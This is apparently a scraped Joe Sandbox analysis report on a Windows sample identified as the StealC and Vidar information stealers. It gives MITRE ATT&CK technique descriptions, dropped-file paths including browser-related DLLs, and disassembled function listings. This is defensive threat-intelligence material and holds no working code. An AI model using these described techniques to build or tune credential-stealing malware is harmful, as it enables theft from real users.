Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DAEBFHJKJEBFCBFHDAEG

C:\ProgramData\DGIJECGDGCBKECAKFBGC

C:\ProgramData\FHDHCAAKECFIDHIEBAKFCGCFCB

C:\ProgramData\FHIDBKFC

C:\ProgramData\FHIDBKFCAAEBFIDHDBAECFIEGC

C:\ProgramData\JJECAAEHCFIEBGCBGHIE

C:\ProgramData\KEGDBFIJ

C:\ProgramData\KFHJJDHJEGHJKECBGCFHDBFIEG

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00FD9860 Relevance: 80.7, APIs: 33, Strings: 13, Instructions: 212
libraryloaderCOMMON

Function 00FC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00FCBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00FD4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00FD9C10 Relevance: 222.9, APIs: 112, Strings: 15, Instructions: 684
libraryloaderCOMMON

Function 00FC7710 Relevance: 100.3, APIs: 54, Strings: 3, Instructions: 584
stringmemoryCOMMON

Function 00FD0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00FC5100 Relevance: 53.1, APIs: 19, Strings: 11, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre